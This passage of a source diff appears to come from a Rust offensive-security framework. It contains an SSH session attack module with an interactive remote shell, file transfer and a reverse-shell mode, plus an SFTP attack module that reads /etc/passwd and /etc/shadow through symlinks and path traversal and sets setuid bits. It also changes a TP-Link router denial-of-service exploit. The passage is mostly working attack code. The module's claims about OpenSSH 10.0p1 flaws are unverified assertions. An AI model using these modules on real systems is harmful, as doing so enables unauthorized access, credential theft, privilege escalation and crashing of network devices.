password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
println!("{}", format!("[PWNED] Interactive shell on {}:{}", host, port).red().bold());
|
||||
println!("{}", "[*] Type 'exit' or 'quit' to disconnect".cyan());
|
||||
println!("{}", "[*] Type '!upload <local> <remote>' to upload files".cyan());
|
||||
println!("{}", "[*] Type '!download <remote> <local>' to download files".cyan());
|
||||
println!();
|
||||
|
||||
// Get initial info
|
||||
if let Ok((_, whoami, _)) = ssh_exec(&sess, "whoami", 5) {
|
||||
if let Ok((_, hostname, _)) = ssh_exec(&sess, "hostname", 5) {
|
||||
println!("{}", format!("[*] Logged in as: {}@{}", whoami.trim(), hostname.trim()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Get initial working directory
|
||||
let mut cwd = String::from("~");
|
||||
if let Ok((_, pwd, _)) = ssh_exec(&sess, "pwd", 5) {
|
||||
cwd = pwd.trim().to_string();
|
||||
}
|
||||
|
||||
loop {
|
||||
// Print prompt
|
||||
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
|
||||
std::io::stdout().flush()?;
|
||||
|
||||
// Read command
|
||||
let mut input = String::new();
|
||||
if std::io::stdin().read_line(&mut input).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
let cmd = input.trim();
|
||||
|
||||
if cmd.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle special commands
|
||||
if cmd == "exit" || cmd == "quit" {
|
||||
println!("{}", "[*] Disconnecting...".cyan());
|
||||
break;
|
||||
}
|
||||
|
||||
// Handle file upload
|
||||
if cmd.starts_with("!upload ") {
|
||||
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
|
||||
if parts.len() == 3 {
|
||||
let local_path = parts[1];
|
||||
let remote_path = parts[2];
|
||||
match sess.sftp() {
|
||||
Ok(sftp) => {
|
||||
match std::fs::read(local_path) {
|
||||
Ok(content) => {
|
||||
match sftp.create(std::path::Path::new(remote_path)) {
|
||||
Ok(mut f) => {
|
||||
if f.write_all(&content).is_ok() {
|
||||
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
|
||||
} else {
|
||||
println!("{}", "[-] Write failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Create failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Read local file failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: !upload <local_path> <remote_path>".yellow());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle file download
|
||||
if cmd.starts_with("!download ") {
|
||||
let parts: Vec<&str> = cmd.splitn(3, ' ').collect();
|
||||
if parts.len() == 3 {
|
||||
let remote_path = parts[1];
|
||||
let local_path = parts[2];
|
||||
match sess.sftp() {
|
||||
Ok(sftp) => {
|
||||
match sftp.open(std::path::Path::new(remote_path)) {
|
||||
Ok(mut f) => {
|
||||
let mut content = Vec::new();
|
||||
if f.read_to_end(&mut content).is_ok() {
|
||||
if std::fs::write(local_path, &content).is_ok() {
|
||||
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
|
||||
} else {
|
||||
println!("{}", "[-] Write local file failed".red());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "[-] Read remote file failed".red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Open failed: {}", e).red()),
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] SFTP failed: {}", e).red()),
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: !download <remote_path> <local_path>".yellow());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Handle cd command specially to track cwd
|
||||
if cmd.starts_with("cd ") || cmd == "cd" {
|
||||
let new_dir = if cmd == "cd" { "~" } else { &cmd[3..] };
|
||||
let check_cmd = format!("cd {} && pwd", new_dir);
|
||||
match ssh_exec(&sess, &check_cmd, 10) {
|
||||
Ok((code, stdout, _)) => {
|
||||
if code == 0 {
|
||||
cwd = stdout.trim().to_string();
|
||||
} else {
|
||||
println!("{}", format!("cd: {}: No such directory", new_dir).red());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Execute regular command (prepend cd to maintain directory context)
|
||||
let full_cmd = format!("cd {} && {}", cwd, cmd);
|
||||
match ssh_exec(&sess, &full_cmd, 60) {
|
||||
Ok((code, stdout, stderr)) => {
|
||||
if !stdout.is_empty() {
|
||||
print!("{}", stdout);
|
||||
}
|
||||
if !stderr.is_empty() {
|
||||
print!("{}", stderr.red());
|
||||
}
|
||||
if code != 0 && stdout.is_empty() && stderr.is_empty() {
|
||||
println!("{}", format!("Command exited with code: {}", code).yellow());
|
||||
}
|
||||
}
|
||||
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[*] Session closed".cyan());
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Environment Variable Injection Test");
|
||||
println!(" 2. Execute Command");
|
||||
println!(" 3. Interactive Shell");
|
||||
println!(" 4. Reverse Shell");
|
||||
println!(" 5. Upload File");
|
||||
println!(" 6. Download File");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "1")?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
attack_session_env_injection(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
let command = prompt_default("Command to execute", "id")?;
|
||||
attack_exec(&host, port, &username, password_ref, keyfile_ref, &command, 30).await?;
|
||||
}
|
||||
"3" => {
|
||||
attack_interactive_shell(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"4" => {
|
||||
let lhost = prompt("Listener IP (LHOST)")?;
|
||||
if lhost.is_empty() {
|
||||
return Err(anyhow!("LHOST is required"));
|
||||
}
|
||||
let lport: u16 = prompt_default("Listener Port (LPORT)", "4444")?.parse().unwrap_or(4444);
|
||||
|
||||
println!();
|
||||
println!("{}", "Available payloads:".cyan());
|
||||
let payloads = get_reverse_shell_payloads();
|
||||
for key in payloads.keys() {
|
||||
println!(" - {}", key);
|
||||
}
|
||||
let payload_type = prompt_default("Payload type", "bash")?;
|
||||
|
||||
attack_revshell(&host, port, &username, password_ref, keyfile_ref, &lhost, lport, &payload_type).await?;
|
||||
}
|
||||
"5" => {
|
||||
let local_path = prompt("Local file path")?;
|
||||
let remote_path = prompt("Remote file path")?;
|
||||
attack_upload(&host, port, &username, password_ref, keyfile_ref, &local_path, &remote_path).await?;
|
||||
}
|
||||
"6" => {
|
||||
let remote_path = prompt("Remote file path")?;
|
||||
let local_path = prompt("Local file path")?;
|
||||
attack_download(&host, port, &username, password_ref, keyfile_ref, &remote_path, &local_path).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Session attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,452 @@
|
||||
//! SSHPWN SFTP Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 vulnerability analysis
|
||||
//!
|
||||
//! SFTP-SERVER VULNERABILITIES (sftp-server.c):
|
||||
//! - process_symlink() - Symlink target injection (HIGH)
|
||||
//! - process_setstat() - chmod allows setuid via 07777 mask (HIGH)
|
||||
//! - process_open() - Path traversal (HIGH)
|
||||
//! - process_write() - Partial write atomicity issues
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - SFTP Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH sftp-server.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. Symlink Injection (process_symlink) ║".cyan());
|
||||
println!("{}", "║ 2. Setuid Bit Attack (process_setstat 07777) ║".cyan());
|
||||
println!("{}", "║ 3. Path Traversal (process_open) ║".cyan());
|
||||
println!("{}", "║ 4. Partial Write Race (process_write) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// SFTP Symlink Attack - Create symlink to sensitive file
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_symlink() does not validate symlink target.
|
||||
/// Client can create symlinks pointing anywhere, bypassing chroot restrictions.
|
||||
pub async fn attack_sftp_symlink(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_file: &str,
|
||||
link_name: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Symlink Attack on {}", host).cyan());
|
||||
println!("{}", format!("[*] Target file: {}", target_file).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let link_path = link_name
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| format!("/tmp/.symlink_attack_{}", std::process::id()));
|
||||
|
||||
// Create symlink to target (this is the vulnerability)
|
||||
// sftp-server.c:1491: r = symlink(oldpath, newpath);
|
||||
match sftp.symlink(Path::new(target_file), Path::new(&link_path)) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[VULN] Created symlink: {} -> {}", link_path, target_file).red().bold());
|
||||
|
||||
// Try to read through symlink
|
||||
match sftp.open(Path::new(&link_path)) {
|
||||
Ok(mut file) => {
|
||||
let mut content = String::new();
|
||||
if file.read_to_string(&mut content).is_ok() {
|
||||
println!("{}", format!("[PWNED] Read {} via symlink:", target_file).red().bold());
|
||||
println!();
|
||||
// Show first 500 chars
|
||||
let preview: String = content.chars().take(500).collect();
|
||||
println!("{}", preview);
|
||||
println!();
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Read failed (may need permissions): {}", e).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&link_path));
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Symlink attack failed: {}", e).red());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// SFTP chmod Setuid Attack - Set setuid bit on uploaded file
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_setstat() uses 07777 mask.
|
||||
/// This allows setting setuid(04000), setgid(02000), sticky(01000) bits.
|
||||
pub async fn attack_sftp_setuid(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_file: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Setuid Attack on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let test_file = target_file
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| format!("/tmp/setuid_test_{}", std::process::id()));
|
||||
|
||||
// Create test file
|
||||
{
|
||||
let mut file = sftp.create(Path::new(&test_file))?;
|
||||
file.write_all(b"#!/bin/sh\nid\n")?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Created test file: {}", test_file).cyan());
|
||||
|
||||
// Try to set setuid bit (0o4755 = setuid + rwxr-xr-x)
|
||||
// sftp-server.c:1102: r = chmod(name, a.perm & 07777);
|
||||
match sftp.setstat(Path::new(&test_file), ssh2::FileStat {
|
||||
size: None,
|
||||
uid: None,
|
||||
gid: None,
|
||||
perm: Some(0o4755),
|
||||
atime: None,
|
||||
mtime: None,
|
||||
}) {
|
||||
Ok(_) => {
|
||||
// Verify
|
||||
match sftp.stat(Path::new(&test_file)) {
|
||||
Ok(stat) => {
|
||||
if let Some(mode) = stat.perm {
|
||||
let mode_masked = mode & 0o7777;
|
||||
if mode_masked & 0o4000 != 0 {
|
||||
println!("{}", format!("[VULN] Setuid bit set! Mode: {:o}", mode_masked).red().bold());
|
||||
println!("{}", format!("[PWNED] File {} has setuid bit", test_file).red().bold());
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
return Ok(true);
|
||||
} else {
|
||||
println!("{}", format!("[*] Setuid stripped. Mode: {:o}", mode_masked).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Stat failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Chmod failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SFTP Path Traversal - Attempt to access files outside allowed directory
|
||||
pub async fn attack_sftp_traversal(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
target_path: &str,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Path Traversal on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let traversal_paths = vec![
|
||||
target_path.to_string(),
|
||||
format!("../../../..{}", target_path),
|
||||
format!("....//....//....//..../{}", target_path),
|
||||
format!("/..{}", target_path),
|
||||
format!("/./{}", target_path),
|
||||
];
|
||||
|
||||
for path in &traversal_paths {
|
||||
println!("{}", format!("[*] Trying: {}", path).cyan());
|
||||
|
||||
match sftp.open(Path::new(path)) {
|
||||
Ok(mut file) => {
|
||||
let mut content = String::new();
|
||||
if file.read_to_string(&mut content).is_ok() {
|
||||
println!("{}", "[VULN] Path traversal successful!".red().bold());
|
||||
println!();
|
||||
let preview: String = content.chars().take(200).collect();
|
||||
println!("{}", preview);
|
||||
println!();
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Permission denied") {
|
||||
println!("{}", "[*] Permission denied (chroot may be working)".dimmed());
|
||||
} else if err_str.contains("No such file") {
|
||||
println!("{}", "[*] File not found".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[*] Blocked: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[-] Path traversal blocked".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SFTP Partial Write Attack - Exploit atomicity issues in writes
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_write() may not complete writes atomically.
|
||||
pub async fn attack_sftp_partial_write(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Partial Write Attack on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let test_file = format!("/tmp/partial_write_test_{}", std::process::id());
|
||||
|
||||
println!("{}", "[*] Testing partial write scenarios...".cyan());
|
||||
|
||||
// Test 1: Large write that might be split
|
||||
let large_data = vec![b'A'; 1024 * 1024]; // 1MB
|
||||
|
||||
match sftp.create(Path::new(&test_file)) {
|
||||
Ok(mut file) => {
|
||||
match file.write_all(&large_data) {
|
||||
Ok(_) => {
|
||||
// Verify write completed
|
||||
match sftp.stat(Path::new(&test_file)) {
|
||||
Ok(stat) => {
|
||||
if let Some(size) = stat.size {
|
||||
if size as usize == large_data.len() {
|
||||
println!("{}", format!("[+] Full write completed: {} bytes", size).green());
|
||||
} else {
|
||||
println!("{}", format!("[VULN] Partial write! Expected {}, got {}", large_data.len(), size).red().bold());
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Stat failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[*] Write test: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Create failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
|
||||
println!("{}", "[*] Partial write testing complete".cyan());
|
||||
println!("{}", "[*] Note: Race conditions require concurrent access testing".yellow());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Symlink Injection (read sensitive files)");
|
||||
println!(" 2. Setuid Bit Attack (privilege escalation)");
|
||||
println!(" 3. Path Traversal (escape chroot)");
|
||||
println!(" 4. Partial Write Test (race condition)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "5")?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let target_file = prompt_default("Target file to read", "/etc/passwd")?;
|
||||
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"3" => {
|
||||
let target_path = prompt_default("Target path", "/etc/passwd")?;
|
||||
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All SFTP Attacks ===".yellow().bold());
|
||||
println!();
|
||||
|
||||
println!("{}", "--- Attack 1: Symlink Injection ---".cyan());
|
||||
let _ = attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, "/etc/passwd", None).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Setuid Bit ---".cyan());
|
||||
let _ = attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Path Traversal ---".cyan());
|
||||
let _ = attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, "/etc/shadow").await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Partial Write ---".cyan());
|
||||
let _ = attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SFTP attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -13,11 +13,23 @@
|
||||
|
||||
use anyhow::Result;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use reqwest::{Client, header::HeaderMap};
|
||||
use std::io;
|
||||
use colored::*;
|
||||
use reqwest::{header::HeaderMap, Client};
|
||||
use std::io::{self, Write};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
const DEFAULT_PORT: u16 = 8082;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ TP-Link TL-WR740N Buffer Overflow DoS Exploit ║".cyan());
|
||||
println!("{}", "║ Crashes router web server via crafted ping request ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Normalize IP to handle IPv6 and multiple brackets
|
||||
fn normalize_ip(ip: &str) -> String {
|
||||
// Remove all surrounding brackets
|
||||
@@ -47,6 +59,8 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
payload = payload
|
||||
);
|
||||
|
||||
println!("{}", format!("[*] Sending exploit payload to {}:{}", ip, port).yellow());
|
||||
|
||||
// Build basic auth header
|
||||
let credentials = format!("{username}:{password}");
|
||||
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
|
||||
@@ -65,28 +79,32 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let response = client.get(&target_url).send().await?;
|
||||
|
||||
if response.status().as_u16() == 200 {
|
||||
println!("[+] Server Crashed (200 OK received)");
|
||||
println!("{}", "[+] Exploit sent successfully (200 OK received)".green().bold());
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
println!("{}", body);
|
||||
if !body.is_empty() {
|
||||
println!("{}", body);
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"[-] Script Completed with status code: {}",
|
||||
response.status()
|
||||
"{}",
|
||||
format!("[-] Request completed with status code: {}", response.status()).yellow()
|
||||
);
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
println!("{}", "[*] Checking if target is still reachable...".cyan());
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
println!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
|
||||
}
|
||||
_ => {
|
||||
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
|
||||
println!("{}", format!("[+] Target no longer reachable on port {} — likely crashed!", port).green().bold());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,20 +113,32 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
/// Entry point required by auto-dispatch
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Enter router port (default is 8082): ");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter router port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port_str = String::new();
|
||||
io::stdin().read_line(&mut port_str)?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(8082);
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("Enter username: ");
|
||||
print!("{}", "Enter username: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut username = String::new();
|
||||
io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim();
|
||||
|
||||
println!("Enter password: ");
|
||||
print!("{}", "Enter password: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut password = String::new();
|
||||
